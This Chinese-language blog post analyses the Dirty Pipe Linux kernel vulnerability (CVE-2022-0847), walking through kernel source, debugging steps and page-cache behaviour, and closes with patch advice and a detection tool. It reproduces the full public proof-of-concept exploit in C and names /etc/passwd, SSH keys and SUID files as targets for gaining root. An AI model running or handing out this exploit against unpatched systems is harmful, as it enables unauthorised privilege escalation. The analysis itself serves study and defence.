[漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析

CVE-2022-0847 Dirty Pipe linux内核提权分析

文章目录

  • CVE-2022-0847 Dirty Pipe linux内核提权分析
    • 漏洞简介
    • 环境搭建
    • 漏洞原理
      • 漏洞发生点
      • pipe原理与pipe_write
      • splice到copy_page_to_iter_pipe
      • linux 内核page cache机制
    • 漏洞利用
      • 细节调试
      • exp
      • 一些小限制(无伤大雅)
    • 缓解措施
      • 建议方案
      • 漏洞验证(工具)
    • 参考
    • 阴谋论

本文首发于华为安全公众号,这是博客版(比较完整)

首发链接:https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

github地址: chenaotian/CVE-2022-0847

漏洞简介

漏洞编号: CVE-2022-0847 (别名: 脏管道dirty pipe)

漏洞产品: linux kernel - splice syscall

影响版本: linux 5.8 补丁 f6dd975583bd 引入~ 5.16.11、5.15.25、5.10.102 修复

漏洞危害: 对任意可读文件写不超过一页的内容(足够了),可本地提权。

环境搭建

漏洞分析docker:chenaotian/cve-2022-0847 (如果还访问不了那就是我还没做好传上去)

提供了:

  • 编译的有漏洞的可调式内核5.13
  • qemu 、gdb、linux 内核5.13源码
  • exp

启动:

cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

调试:

gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

漏洞原理

漏洞简要原理是,调用splice 函数可以通过"零拷贝"的形式将文件发送到pipe,代码层面的零拷贝是直接将文件缓存页(page cache)作为pipebuf页使用。但这里引入了一个变量未初始化漏洞,导致文件缓存页会在后续pipe 通道中被当成普通pipe缓存页而被"续写"进而被篡改。然而,在这种情况下,内核并不会将这个缓存页判定为"脏页",短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页,也就达成了一个"短时间内对任意可读文件任意写"的操作。可以完成本地提权。

漏洞发生点

根据补丁,漏洞发生点位于copy_page_to_iter_pipe 函数,增加了对buf->flags的初始化操作,所以这是一个变量未初始化漏洞。

在这里插入图片描述

copy_page_to_iter_pipe 的调用点出现在 splice 系统调用之中。splice 函数(系统调用)通过一种"零拷贝"的方法将文件内容输送到管道之中。相比传统的直接将文件内容送入管道性能更好。具体在下文介绍。

pipe原理与pipe_write

首先,漏洞别名脏管道,先了解一下管道(pipe)。pipe 是内核提供的一个通信管道,通过pipe/pipe2 函数创建,返回两个文件描述符,一个用于发送数据,另一个用于接受数据,类似管道的两段,具体使用不多bb。

在这里插入图片描述

简单说一下在内核中的实现,通常pipe 缓存空间总长度65536 字节用页的形式进行管理,总共16页(一页4096字节),页面之间并不连续,而是通过数组进行管理,形成一个环形链表。维护两个链表指针,一个用来写(pipe->head),一个用来读(pipe->tail),这里主要分析一下pipe_write 函数:

linux-5.13\fs\pipe.c : 400 : pipe_write

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{struct file *filp = iocb->ki_filp;struct pipe_inode_info *pipe = filp->private_data;unsigned int head;ssize_t ret = 0;size_t total_len = iov_iter_count(from);ssize_t chars;bool was_empty = false;bool wake_next_writer = false;··· ······ ···head = pipe->head;was_empty = pipe_empty(head, pipe->tail);chars = total_len & (PAGE_SIZE-1);if (chars && !was_empty) { //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写unsigned int mask = pipe->ring_size - 1;struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];int offset = buf->offset + buf->len; if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&offset + chars <= PAGE_SIZE) { /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写*如果写入长度不会跨页,则接着写,否则直接另起一页 */ret = pipe_buf_confirm(pipe, buf);···ret = copy_page_from_iter(buf->page, offset, chars, from);···}buf->len += ret;···}}for (;;) {//[3]如果上一页没法接着写,则重新起一页··· ···head = pipe->head;if (!pipe_full(head, pipe->tail, pipe->max_usage)) {unsigned int mask = pipe->ring_size - 1;struct pipe_buffer *buf = &pipe->bufs[head & mask];struct page *page = pipe->tmp_page;int copied;if (!page) {//[4]重新申请一个新页page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);if (unlikely(!page)) {ret = ret ? : -ENOMEM;break;}pipe->tmp_page = page;}spin_lock_irq(&pipe->rd_wait.lock);head = pipe->head;··· ···pipe->head = head + 1;spin_unlock_irq(&pipe->rd_wait.lock);/* Insert it into the buffer array */buf = &pipe->bufs[head & mask];buf->page = page;//[5]将新申请的页放到页数组中buf->ops = &anon_pipe_buf_ops;buf->offset = 0;buf->len = 0;if (is_packetized(filp))buf->flags = PIPE_BUF_FLAG_PACKET;elsebuf->flags = PIPE_BUF_FLAG_CAN_MERGE;//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGEpipe->tmp_page = NULL;copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); //[7]拷贝操作··· ···ret += copied;buf->offset = 0;buf->len = copied;··· ···}··· ···}··· ···return ret;
}
  1. 如果当前管道(pipe)中不为空(head==tail判定为空管道),则说明现在管道中有未被读取的数据,则获取head 指针,也就是指向最新的用来写的页,查看该页的lenoffset(为了找到数据结尾)。接下来尝试在当前页面续写
  2. 判断 当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE flag标记,如果不存在则不允许在当前页面续写。或当前写入的数据拼接在之前的数据后面长度超过一页(即写入操作跨页),如果跨页,则无法续写。
  3. 如果无法在上一页续写,则另起一页
  4. alloc_page 申请一个新的页
  5. 将新的页放在数组最前面(可能会替换掉原有页面),初始化值。
  6. buf->flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE ,因为默认状态是允许页可以续写的。
  7. 拷贝写入的数据,没拷贝完重复上述操作。

漏洞利用的关键就是在splice 中未被初始化的PIPE_BUF_FLAG_CAN_MERGE flag标记,这代表我们能否在一个"没写完"的pipe 页续写。

splice到copy_page_to_iter_pipe

上面提到了,pipe 就是通过管理16 个页来作为缓存。splice 的零拷贝方法就是,直接用文件缓存页来替换pipe 中的缓存页(更改pipe缓存页指针指向文件缓存页)。

在这里插入图片描述

splice 系统调用到漏洞函数copy_page_to_iter_pipe 调用栈很深,具体不详细分析,调用栈如下:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read(in->f_op->splice_read 默认为 generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

漏洞所在的copy_page_to_iter_pipe 函数主要做的工作就是将pipe 缓存页结构指向要传输的文件的文件缓存页:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,struct iov_iter *i)
{struct pipe_inode_info *pipe = i->pipe;struct pipe_buffer *buf;unsigned int p_tail = pipe->tail;unsigned int p_mask = pipe->ring_size - 1;unsigned int i_head = i->head;size_t off;··· ···off = i->iov_offset;buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页··· ···buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页get_page(page);buf->page = page;//[2]页指针指向了文件缓存页buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)buf->len = bytes;pipe->head = i_head + 1;i->iov_offset = offset + bytes;i->head = i_head;
out:i->count -= bytes;return bytes;
}
  1. 首先根据pipe 页数组环形结构,找到当前写指针(pipe->head) 位置
  2. 将当前需要写入的页指向准备好的文件缓存页,并设置其他信息,比如len 是由splice 系统调用的传入参数决定的。这里唯独没有初始化flag,造成漏洞。

一般初始化完pipe->bufs长这样:

在这里插入图片描述

这时根据上面分析过的pipe_write 代码,如果重新调用pipe_writepipe 中写数据,写指针(pipe->head) 指向上图中的页,flagPIPE_BUF_FLAG_CAN_MERGE ,则会认为可以接着该页继续写,只要写入长度不跨页:

#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */if (chars && !was_empty) { //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写unsigned int mask = pipe->ring_size - 1;struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];int offset = buf->offset + buf->len; if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&offset + chars <= PAGE_SIZE) { /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写*如果写入长度不会跨页,则接着写,否则直接另起一页 */ret = pipe_buf_confirm(pipe, buf);···ret = copy_page_from_iter(buf->page, offset, chars, from);

linux 内核page cache机制

linux 通过将打开的文件放到缓存页之中,缓存页被使用过后也会保存一段时间避免不必要的IO操作。短时间内访问同一个文件,都会操作相同的文件缓存页,而不是反复打开。而我们通过该方法篡改了这个文件缓存页,则短时间内访问(读取)该文件的操作都会读到被我们篡改的文件缓存页上,完成利用。

漏洞利用

上面已经描述过了,漏洞利用过程非常简单,看懂漏洞原理即可利用。根据作者的操作,大概分为以下几步:

  1. 创建一个管道
  2. 将管道填充满(通过pipe_write),这样所有的buf(pipe 缓存页)都初始化过了,flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE
  3. 将管道清空(通过pipe_read),这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf结构。
  4. 调用splice 函数将想要篡改的文件传送入
  5. 继续向pipe写入内容(pipe_write),这时就会覆盖到文件缓存页了,完成暂时文件篡改。

细节调试

第二步结束,管道填满又清空之后,可以看到bufs 结构中就是接下来未初始化内容要复用的数据:

p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

在这里插入图片描述

splice 之后文件传入之后,变为,其中flag 未被初始化,并且这里len 要设置的尽量小,因为越小我们后续"续写"时能写的长度就越长,这里设置为1,偏移为我们想要篡改的起始地址,这里会将pipe->bufs->page 指针指向起始地址:

splice(fd, &offset, p[1], NULL, 1, 0);

在这里插入图片描述

再一次pipe_write,满足续写条件,直接在页面续写:

在这里插入图片描述

exp

不是我写的,漏洞披露之中的:

/* SPDX-License-Identifier: GPL-2.0 */
/** Copyright 2022 CM4all GmbH / IONOS SE** author: Max Kellermann <max.kellermann@ionos.com>** Proof-of-concept exploit for the Dirty Pipe* vulnerability (CVE-2022-0847) caused by an uninitialized* "pipe_buffer.flags" variable.  It demonstrates how to overwrite any* file contents in the page cache, even if the file is not permitted* to be written, immutable or on a read-only mount.** This exploit requires Linux 5.8 or later; the code path was made* reachable by commit f6dd975583bd ("pipe: merge* anon_pipe_buf*_ops").  The commit did not introduce the bug, it was* there before, it just provided an easy way to exploit it.** There are two major limitations of this exploit: the offset cannot* be on a page boundary (it needs to write one byte before the offset* to add a reference to this page to the pipe), and the write cannot* cross a page boundary.** Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'** Further explanation: https://dirtypipe.cm4all.com/*/#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif/*** Create a pipe where all "bufs" on the pipe_inode_info ring have the* PIPE_BUF_FLAG_CAN_MERGE flag set.*/
static void prepare_pipe(int p[2])
{if (pipe(p)) abort();const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);static char buffer[4096];/* fill the pipe completely; each pipe_buffer will now havethe PIPE_BUF_FLAG_CAN_MERGE flag */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;write(p[1], buffer, n);r -= n;}/* drain the pipe, freeing all pipe_buffer instances (butleaving the flags initialized) */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;read(p[0], buffer, n);r -= n;}/* the pipe is now empty, and if somebody adds a newpipe_buffer without initializing its "flags", the bufferwill be mergeable */
}int main(int argc, char **argv)
{if (argc != 4) {fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);return EXIT_FAILURE;}/* dumb command-line argument parser */const char *const path = argv[1];loff_t offset = strtoul(argv[2], NULL, 0);const char *const data = argv[3];const size_t data_size = strlen(data);if (offset % PAGE_SIZE == 0) {fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");return EXIT_FAILURE;}const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;const loff_t end_offset = offset + (loff_t)data_size;if (end_offset > next_page) {fprintf(stderr, "Sorry, cannot write across a page boundary\n");return EXIT_FAILURE;}/* open the input file and validate the specified offset */const int fd = open(path, O_RDONLY); // yes, read-only! :-)if (fd < 0) {perror("open failed");return EXIT_FAILURE;}struct stat st;if (fstat(fd, &st)) {perror("stat failed");return EXIT_FAILURE;}if (offset > st.st_size) {fprintf(stderr, "Offset is not inside the file\n");return EXIT_FAILURE;}if (end_offset > st.st_size) {fprintf(stderr, "Sorry, cannot enlarge the file\n");return EXIT_FAILURE;}/* create the pipe with all flags initialized withPIPE_BUF_FLAG_CAN_MERGE */int p[2];prepare_pipe(p);/* splice one byte from before the specified offset into thepipe; this will add a reference to the page cache, butsince copy_page_to_iter_pipe() does not initialize the"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */--offset;ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes < 0) {perror("splice failed");return EXIT_FAILURE;}if (nbytes == 0) {fprintf(stderr, "short splice\n");return EXIT_FAILURE;}/* the following write will not create a new pipe_buffer, butwill instead write into the page cache, because of thePIPE_BUF_FLAG_CAN_MERGE flag */nbytes = write(p[1], data, data_size);if (nbytes < 0) {perror("write failed");return EXIT_FAILURE;}if ((size_t)nbytes < data_size) {fprintf(stderr, "short write\n");return EXIT_FAILURE;}printf("It worked!\n");return EXIT_SUCCESS;
}

提权成功:

gcc exp.c -o exp --static
./exp file offset string

在这里插入图片描述

目前是演示了任意文件写的效果,具体利用可以修改/etc/passwd、或者sshkey 或者一些suid 文件之类的完成实际提权。这里不实际操作了(反正我又不去渗透)。

一些小限制(无伤大雅)

  1. 无法改变文件大小(无法让文件更大)
  2. 单次写入长度不能超过一页(4k)

缓解措施

建议方案

由于是内核漏洞,暂无很好的处置方案,建议升级内核到修复的版本: 5.16.11、5.15.25、5.10.102及以上。

漏洞验证(工具)

根据漏洞披露者发布的POC,写了一个简单的验证工具。存在漏洞输出"There is CVE-2022-0847":

在这里插入图片描述

不存在漏洞输出"You are safe!"。

参考

漏洞披露:https://dirtypipe.cm4all.com/

阴谋论

PIPE_BUF_FLAG_CAN_MERGE 这个flag 总共就出现了5次,一次#define 声明,两次在pipe_write 里。剩下两次都在splice 之中:

在这里插入图片描述

而且根据这个变量参与的代码可知,这个变量的意义就是是否允许在当前最新pipe 缓存页中续写;一般pipe 自己申请的页,就是个普通页,续写就续写很正常。什么情况不能续写,那就是这个页不是你pipe 自己申请的页,你不可以随便改。所以由目前的状况来看,几乎也就splice 中涉及到了非pipe 自己申请的页。换言之,PIPE_BUF_FLAG_CAN_MERGE 这个flag 就是为splice 设计的。然后你告诉我你不初始化的吗?

所以我怀疑这漏洞,根本不是马虎…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/31656.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

通过HackerOne漏洞报告学习PostMessage漏洞实战场景中的利用与绕过

转载https://www.anquanke.com/post/id/219088 0x00 前言 这是一篇关于postMessage漏洞分析的文章&#xff0c;主要通过hackerone平台披露的Bug Bounty报告&#xff0c;学习和分析postMessage漏洞如何在真实的场景中得到利用的。 0x01 什么是PostMessage 根据Mozilla开发文档…

我的一些实战的漏洞挖掘过程(一)

最近挖到的漏洞&#xff0c;在这里分享一下&#xff0c;有些信息比较敏感就打码处理&#xff0c;目标网站都换为target.com 反射xss漏洞挖掘 跨站脚本攻击&#xff08;Cross-site Scripting&#xff0c;XSS&#xff09;是一种常见的Web安全漏洞&#xff0c;攻击者通过在Web应…

漏洞挖掘之信息收集

简介 对单一指定目标网站进行黑盒测试&#xff0c;最重要的就是信息收集&#xff0c;因为网站管理员肯定会在用户经常访问的主网站进行经常维护&#xff0c;而那些子域名&#xff0c;没有什么人访问的&#xff0c;可能就会忘记维护&#xff0c;挖洞的突破点大都在于子域名上&am…

我的HackerOne漏洞赏金平台漏洞挖掘流程

简介 高强度在hackerone平台挖了一周的漏洞&#xff0c;在这里分享一下经验 选定目标 hackerone有两种src&#xff0c;一种是给钱的&#xff0c;一种是免费的&#xff0c;我一般都是选的有钱的去挖 假如我选择了这个作为今天的挖洞目标 首先需要往下滑&#xff0c;看他不收…

麦肯锡教我的思考武器-读书心得

《麦肯锡教我的思考武器》从逻辑思考到真正解决问题&#xff0c;思考&#xff0c;不要使用蛮力&#xff0c;工作&#xff0c;不只靠体力&#xff01;从议题出发&#xff0c;创造有价值的工作。面对任务繁多的工作&#xff0c;你该如何应付&#xff1f;对于专业工作者而言&#…

麦肯锡三部曲_麦肯锡三部曲推荐

人生&#xff0c;唯有读书与运动不可辜负。 今日推荐&#xff1a; 艾森拉塞尔和保罗弗里嘉所著的麦肯锡三部曲&#xff1a;《麦肯锡方法》、《麦肯锡意识》和《麦肯锡工具》。 作者简介&#xff1a; 艾森拉塞尔(Ethan M. Rasiel)是麦肯锡纽约公司的一名顾问。他的客户包括在金融…

《麦肯锡意识》前言 解决问题的战略模型-思维导图

《麦肯锡意识》前言 解决问题的战略模型-思维导图 文章目录 解决问题的理论模型解决问题的战略模型客户需求分析汇报管理实施领导力 本书侧重探讨此模型的分析、汇报和管理部分 本书的基础是麦肯锡所实践的解决问题流程 关于解决问题流程 解决问题的理论模型 战略模型图&…

《麦肯锡方法》读书笔记22

《爱数圈-每日悦享读书会》打卡&#xff1a;第二十一章 关于麦肯锡的回忆&#xff1a;

《麦肯锡方法》第12章 管理公司的内部沟通-思维导图

文章目录 麦肯锡的内部沟通让信息流动起来蘑菇种植法保持信息的通畅内部沟通 有效信息的三个关键因素简洁全面系统 慎言慎行 麦肯锡的内部沟通 以团队为基础的运营&#xff0c;其成功与否有赖于沟通 自上而下的沟通自下而上的沟通 沟通方式 电子邮件备忘录会议… 让信息流动…

《麦肯锡方法》第1章建立解决方案-思维导图

《麦肯锡方法》第1章建立解决方案-思维导图 文章目录 第1章 建立解决方案 与事实为友 优先收集和分析事实 事实为何如此重要&#xff1f; 事实弥补了直觉的缺陷事实可提高可信度 对MECE原则应用自如 分解问题 把大的复杂的问题&#xff0c;拆分成小的容易解决的子问题子问题…

《麦肯锡方法》第13章 与客户合作-思维导图

《麦肯锡方法》第13章 与客户合作-思维导图 文章目录 与客户团队合作让客户团队站到你这边如何与客户团队中的”讨债鬼“打交道让客户参与工作获得整个公司的支持实施要严谨 与客户团队合作 最大限度地发挥客户团队的积极性 怎样让客户在项目中发挥积极影响并限制消极影响 对…

用讯飞星火大模型1分钟写一个精美的PPT

文章目录 前言SparkDesk讯飞星火认知大模型简介利用讯飞星火写一个转正述职ppt1.告诉讯飞星火我想写一篇转正述职ppt2.利用MindShow一键生成ppt 申请体验写在最后 ✍创作者&#xff1a;全栈弄潮儿 &#x1f3e1; 个人主页&#xff1a; 全栈弄潮儿的个人主页 &#x1f3d9;️ 个…

ChatGpt AI智能绘画java开源系统快速搭建

要快速搭建AI智能绘画的Java开源系统&#xff0c;您可以按照以下步骤进行操作&#xff1a; 确定系统需求&#xff1a;明确您希望系统具备哪些功能和特性&#xff0c;例如图像处理、机器学习、深度学习等方面。 寻找相关开源库和框架&#xff1a;Java生态系统中存在许多强大的开…

ChatGPT 编写:高性能 2000 怪同屏碰撞检测|征稿活动 V6

本文来自 Cocos 中文社区第 6 期征稿活动 Cocos AIGC Creators Award&#xff0c;征稿持续进行中&#xff0c;丰富奖品等你来拿&#xff5e; 前言 大家好我是 98k, 好久没更新作品了&#xff0c;是时候为大家作贡献了。 新作品体验链接: https://store.cocos.com/app/detail/48…

和chatgpt学架构04-路由开发

目录 1 什么是路由2 如何设置路由2.1 安装依赖2.2 创建路由文件2.3 创建首页2.4 编写HomePage2.5 更新路由配置2.6 让路由生效 3 测试总结 要想使用vue实现页面的灵活跳转&#xff0c;其中路由配置是必不可少的&#xff0c;我们在做开发的时候&#xff0c;先需要了解知识点&…

和chatgpt学架构05-首页开发

目录 首页提示词使用container布局正确的显示菜单的层级图标显示不正常解决纵向滚动条的问题 我们上一篇只是简单写了一个首页&#xff0c;作为一个系统的管理后台&#xff0c;首页相对复杂&#xff0c;既包含菜单导航&#xff0c;又需要根据菜单显示具体的页面。我们本篇就让c…

李彦宏:文心大模型 3.5 版本推理速度提升 17 倍;ChatGPT 访问量增速大降;Linux 6.4 发布|极客头条...

「极客头条」—— 技术人员的新闻圈&#xff01; CSDN 的读者朋友们早上好哇&#xff0c;「极客头条」来啦&#xff0c;快来看今天都有哪些值得我们技术人关注的重要新闻吧。 整理 | 梦依丹 出品 | CSDN&#xff08;ID&#xff1a;CSDNnews&#xff09; 一分钟速览新闻点&#…

程序员该如何定位?看这四大方向

宽泛的意义上讲&#xff0c;程序员是这样一群人&#xff1a;他们用某种语言或技术&#xff0c;开发某种软件产品&#xff08;系统&#xff09;&#xff0c;解决特定现实领域的问题。 有了这个定义&#xff0c;我们就可以来讨论程序员的几种常见定位&#xff1a; 解决某类问题的…

活动回顾丨那些闪闪发光的女开发者们

在刚刚度过的三八妇女节 我们看到了令人振奋的女性力量 在各个行业领域闪闪发亮 给予无数女性力量与鼓舞 在开发领域当然也不例外 亚马逊云科技深度支持并联合 Jina AI 与优秀的女开发者们展开线上对谈 和我们一起来领略她们的 智性魅力与思维碰撞吧 精彩回顾 多模态 AI 技术 T…

Let‘s Learn .NET|通过 Semantic Kernel .NET SDK 管理你的 OpenAI 项目

编辑&#xff1a;Alan Wang 排版&#xff1a;Rani Sun Lets Learn .NET 系列 “Lets Learn .NET” 是面向全球的 .NET 初学者学习系列&#xff0c;旨在通过不同语言&#xff0c;帮助不同地区的开发者掌握最新的 .NET 开发知识与技能。 在 ChatGPT 与 OpenAI 火热的当下&#x…